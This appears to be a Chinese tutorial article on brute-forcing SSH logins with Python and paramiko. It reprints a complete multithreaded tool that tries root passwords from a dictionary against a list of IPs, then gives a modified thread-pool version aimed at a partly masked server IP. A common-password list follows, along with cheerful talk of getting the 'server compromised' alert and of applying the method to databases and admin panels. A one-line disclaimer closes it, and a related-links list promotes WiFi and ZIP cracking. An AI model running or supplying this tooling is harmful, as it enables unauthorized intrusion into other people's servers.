手把手教你用Python進行SSH暴力破解

2022-01-05 糙科技

回復「pythonpdf「,立刻領取100本全品類Python電子書暴力破解屬於密碼破解的一種,也是最常見的破解方法之一,通過不斷的嘗試來達到破解的目的,所以暴力破解的本質就是一種枚舉。

現在也有很多流行的破解軟體,不過個人覺得裝上kail其實也就啥都有了,但是今天我們不說他們,今天主題是如何使用Python來進行SSH的暴力破解。

在Github上有一個庫叫sshfucker,專門用於 SSH 的暴力破解。

https://github.com/TheKingOfDuck/sshfucker

這個模塊很簡單,代碼實現不到70行,只封裝了一個py文件。

# !/usr/bin/python python
# -*- coding: utf-8 -*-

import paramiko, threading, sys, time, os

class SSHThread(threading.Thread):
    def __init__(self, ip, port, timeout, dic, LogFile):
        threading.Thread.__init__(self)
        self.ip = ip
        self.port = port
        self.dict = dic
        self.timeout = timeout
        self.LogFile = LogFile

    def run(self):
        print("Start try ssh => %s" % self.ip)
        username = "root"
        try:
            password = open(self.dict).read().split('\n')
        except:
            print("Open dict file `%s` error" % self.dict)
            exit(1)
        for pwd in password:
            try:
                ssh = paramiko.SSHClient()
                ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
                ssh.connect(self.ip, self.port, username, pwd, timeout=self.timeout)
                print("\nIP => %s, Login %s => %s \n" % (self.ip, username, pwd))
                open(self.LogFile, "a").write("[ %s ] IP => %s, port => %d, %s => %s \n" % (
                time.asctime(time.localtime(time.time())), self.ip, self.port, username, pwd))
                break
            except:
                print("IP => %s, Error %s => %s" % (self.ip, username, pwd))
                pass


def ViolenceSSH(ip, port, timeout, dic, LogFile):
    ssh_scan = SSHThread(ip, port, timeout, dic, LogFile)
    ssh_scan.start()


def main(ipFile, dic, log):
    if ipFile == "-h":
        help()
    try:
        ipText = open(ipFile).read().split('\n')
        for ip in ipText:
            if ip != '':
                time.sleep(0.5)
                threading.Thread(target=ViolenceSSH, args=(ip, 22, 1, dic, log,)).start()
    except:
        print("Open IP list file `%s` error" % ipFile)
        exit(1)


def help():
    print("python ssh.scan.py :\n\
        修改dict下的ip文件,password按需求修改,然後執行腳本。 \n")
    exit(1)


if __name__ == '__main__':

    fpath = os.path.dirname(os.path.abspath('__file__'))
    ipFile = sys.argv[1] if len(sys.argv) > 1 else fpath + "/dict/ip"
    dic = sys.argv[2] if len(sys.argv) > 2 else fpath + "/dict/password"
    log = sys.argv[3] if len(sys.argv) > 3 else fpath + "/log/sshd"

    try:
        os.system("clear")
        main(ipFile, dic, log)
    except KeyboardInterrupt:
        exit(1)

我們可以明顯的看到,這個模塊依賴於 Paramiko 

Paramiko 是用於建立 SSH2 連接(客戶端或伺服器)的庫,基於Python實現。重點是使用 SSH2 作為 SSL 的替代方法,以在 Python 腳本之間建立安全連接。支持所有主要密碼和哈希方法。也支持 SFTP 客戶端和伺服器模式。

Paramiko 庫在Python自動化運維領域很受推崇。

然後我們還可以看到這個模塊實際上就是利用 Paramiko  建立了 ssh 的客戶端連接,批量導入文件,採用多線程的方式來進行暴力破解,思路很清晰。

我們修改代碼實現如下

import sys
import paramiko
import threading
from concurrent.futures import ThreadPoolExecutor

ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())  
is_find=False

def SshCheck(password):
    try:
        ssh.connect("119.23.xx.xx", 22, 'root', password, timeout=1.5)
        stdin, stdout, stderr = ssh.exec_command('df')
        result = stdout.read()
        if result:
            sys.stdout.write('[OK]' + '\t' + password + '\n')
            global is_find
            is_find = True
            exit()
    except Exception as e:
        print(e, "失敗!!!")
    finally:
        ssh.close()

filedata = open("pwds.txt", "r")
def run():
    pool = ThreadPoolExecutor(3)
    while 1:
        global is_find
        if is_find:
            break
        line = filedata.readline()
        if not line:
            break
        line = line.strip("\n")
        pool.submit(SshCheck,line)

run()

採用了協程並發來進行ssh連接,如果成功破解我們就直接退出。

這裡的pwds.txt 文件用於存放破解密碼。

password
123456
12345678
1234
qwerty
12345
dragon
pussy
baseball
football
letmein
monkey
696969
abc123
mustang
michael
shadow
master
jennifer
111111
2000
jordan
...
...

回車鍵一按,叮叮,收到伺服器被入侵的簡訊!!!

你也可以用你的雲伺服器或者自己搭建的伺服器進行測試,只要 ssh驗證的ip,埠和密碼正確,即破解成功。

破解一直爽,一直破解一直爽,利用Python不僅可以對ssh進行暴力破解,資料庫,網站後臺管理也是同樣的道理,只不過使用的庫不同而已。

本文只是出於對Python的學習研究,請勿用於非法用途,小心被請喝茶喲!!

 今日留言主題 

 請說出你的累計bug數 

 今日贈送書籍 

恭喜 忘掉這個痛 讀者深得我心,聯繫小助手:BackToYao

·  合作、交流請關注微信公號Python專欄(ID:xpchuiit),轉載請添加微信moonhmily1

相關焦點

  • 教你在 Centos 7 中使用 DenyHosts防止ssh暴力破解
    DenyHosts是用python2.3編寫的一個程序,會分析/var/log/secure等文件,當發現同一個ip進行多次ssh登錄失敗時會將其寫入/etc/hosts.dengy文件,達到屏蔽該ip的目的
  • 教你用 Python 暴力破解附近區域網 WiFi 密碼
    datetime.datetime.now() if(success): print("[*] 本次破解WIFI密碼一共用了多長時間:{}".format(end - start)) else: print("[*] 很遺憾未能幫你破解出當前指定WIFI的密碼,請更換密碼字典後重新嘗試!")
  • GrayLog配置SSH暴力破解攻擊日誌告警並推送到釘釘機器人
    點擊上方"walkingcloud"關注,並選擇"星標"公眾號GrayLog配置SSH暴力破解攻擊日誌告警並推送到釘釘機器人
  • fail2ban 防止暴力破解
    本測試需要的環境:1)系統: centos72) python 版本大於2.4具體操作步驟:1.4. fail2ban測試一般情況下對於10分鐘內120次單個IP對伺服器密碼登錄驗證失敗,我們就認為是機器所謂,也就是暴力破解。但為了測試方便,我們按照下面的測試條件來進行測試:設置條件:SSH遠程登錄5分鐘內3次密碼驗證失敗,禁止用戶IP訪問主機1小時,1小時該限制自動解除,用戶可重新登錄。
  • 當雲伺服器頻繁被暴力破解時的防護措施——數據灣
    有很多小夥伴來跟小灣講,雲伺服器經常被人暴力破解登錄,導致IP 被凍結;為了防止雲伺服器被暴力破解,小灣給大家介紹一些簡單的防護措施。修改SSH登錄埠# 將#Port 22去掉#,修改為10000後的埠號,保存並退出vi /etc/ssh/sshd_conf:wq# 重啟SSH服務systemctl restart sshd.service禁用root用戶當然,修改埠有一定的作用,可以躲過一些廣撒網式攻擊,但由於有掃描埠的工具存在,ssh服務的埠經過掃描就會被發現,
  • 手把手教你基於python的Spark環境搭建(Standalone Deploy Mode)
    為了避免各種環境變量的問題,下文均在root用戶下進行。安裝vmware tools請百度搜索:Ubuntu安裝vmware tools替換Ubuntu更新源由於系統默認更新源伺服器在美國,我們使用時下載很慢,所以可按照以下步驟進行更新源的切換。
  • Python pip ssh-decorate被發現存在後門代碼
    pip是python的開源包資源庫。然而,這個開源庫的管理是十分鬆散的。尤其在安全方面並沒有嚴格的審核機制。一個用戶只需要一個email即可註冊帳戶,然後即可上傳其源文件到pip資源中。而這個pip資源是被世界上所有python用戶使用下載的。如果有人夾雜惡意代碼上傳了某個包,並以常見程序的名字命名,比如zip,ssh,smb,ftp。
  • OpenSSH漏洞可導致伺服器被暴力破解 研究人員公布利用方法
    一位網名為Kingcope的安全人員近日在博客上發布了這個漏洞的利用方法。OpenSSH伺服器的「鍵盤交互」認證是打開的,默認設置為允許6次認證嘗試,客戶端只允許3次,然後就會關閉與伺服器的連接。然而,這個認證機制可以在單次連接中進行多次認證嘗試。利用這個漏洞,攻擊者能夠在允許登錄時間的2分鐘內進行多次口令嘗試,也就意味著成千上萬次的暴力破解。
  • linux系統帳號密碼破解
    John使用內容全是密碼的單詞表,然後使用單詞表中的每一個密碼,試圖破解某個特定的密碼散列。換句話說John是使用暴力破解,其破解效率跟字典和密碼設置強度有關,總體來說John是一款不錯的Linux密碼暴力破解工具,John在在windows和linux下都有圖形界面的。windows界面的可以到網站進行下載http://openwall.info/wiki/john/johnny。
  • 用Python寫了個工具,完美破解了MySQL
    今天,讓我們來做個改變,就是用Python寫一個工具來破解MySQL,看看它能不能破解出MySQL的用戶和密碼。爆破腳本這次編寫的爆破MySQL的Python腳本使用了Python中的多線程編程,並且導入了MySQLdb模塊。
  • 最詳細Python批量字典暴力破解zip密碼
    工具破解前兩天在網上下來了一波項目案例,結果全是加密的壓縮包,於是去網上找了一個壓縮包破解的工具很多人學習python
  • SSH 連接不上 EC2? 手把手教你排查
    一些初次使用 AWS 的小夥伴可能會碰到 SSH 連接不到  Linux EC2 的問題,別著急,這篇文章幫你排查常見原因!無法通過 SSH 連接 EC2 的常見原因通常分為兩類,連接超時以及權限錯誤。根據實際連接時返回的報錯信息,直接查看對應的篇章即可。
  • 教你暴力破解WIFI密碼!
    >期準備VMware Workstation虛擬機在虛擬機安裝好kail linunx系統無線網卡(晶片為3070或者1887L都支持Linux)一.打開終端,用airmon-ng攻擊原理是:先讓設備掉線,設備會再自動連接,並發這個自動連接過程會進行三次握手,會發送tcp包(裡面包含加密的密碼數據),我方偽裝成WiFi熱點去竊取該數據包。
  • 推薦 :手把手教你用Python進行Web抓取(附代碼)
    本教程以在Fast Track上收集百強公司的數據為例,教你抓取網頁信息。作為一名數據科學家,我在工作中所做的第一件事就是網絡數據採集。使用代碼從網站收集數據,當時對我來說是一個完全陌生的概念,但它是最合理、最容易獲取的數據來源之一。經過幾次嘗試,網絡抓取已經成為我的第二天性,也是我幾乎每天使用的技能之一。
  • python小課堂17 - 30行代碼破解加密ZIP文件
    廢話不多說,今天就來演示下如何手寫一段python程序來實現暴力破解壓縮文件的密碼!重點在於編程的思路!聲明:本章內容僅供學習記錄使用,請勿用於商業以及非法用途!暴力破解的實現思路利用python內置模塊zipfile來實現破解文件,zipfile模塊有一種函數,其可以實現將壓縮文件路徑傳入,通過函數返回值去調用提取文件的方法,若文件是加密的且密碼傳入的不正確,程序則會發生異常(也就是程序報錯
  • 今天破解了壓縮文件的密碼:使用python輕鬆編寫破解程序
    獲取ZIP文件解壓密碼今天傑瑞又閒著無事可幹,索性去做了一個非常簡單且實用的一個python小程序,這個程序破解獲得zip加密文件的密碼。獲取zip文件解壓密碼的思路是使用窮舉法去「試」出真實密碼。傑瑞今天就教大家如何使用python去破解得到zip文件的解壓密碼,僅需要不到20行代碼即可完成全部功能。實現步驟首先我們需要python裡面的一個庫——zipfile,這個庫專門用來操作zip文件的,這個庫一般是python自帶的不需要安裝。
  • 手把手教你學Python之手寫數字識別
    這裡主要涉及到的技術是圖像識別,圖像識別是指利用計算機對圖像進行處理、分析和理解,以識別各種不同模式的目標和對像的技術。機器學習領域一般將此類識別問題轉化為分類問題。手寫數字識別可以轉化為10分類問題,最終結果只能是0-9這10個數字。網上手寫數字數據集很多,大小也存在差異。
  • 手把手教你用Python定製炫酷的詞雲!
    或者這樣:本節課,我們就教你實現這種效果。一、課程介紹1. 內容簡介本實驗將使用Python的wordcloud擴展包製作詞雲,生成圖片保存。並介紹如何改進wordcloud擴展包使其能顯示中文字符,最後介紹如何使用自己喜歡的圖片定製詞雲圖片輪廓。2.
  • 手把手教你用Python進行時間序列分解和預測
    STL分解法時間序列預測的基本方法:Python中的簡單移動平均(SMA)為什麼使用簡單移動平均?Python中的加權移動平均(WMA)Python中的指數移動平均(EMA)什麼是時間序列?顧名思義,時間序列是按照固定時間間隔記錄的數據集。
  • Tensorflow實戰系列:手把手教你使用LSTM進行文本分類(附完整代碼)
    【導讀】專知小組計劃近期推出Tensorflow實戰系列,計劃教大家手把手實戰各項子任務。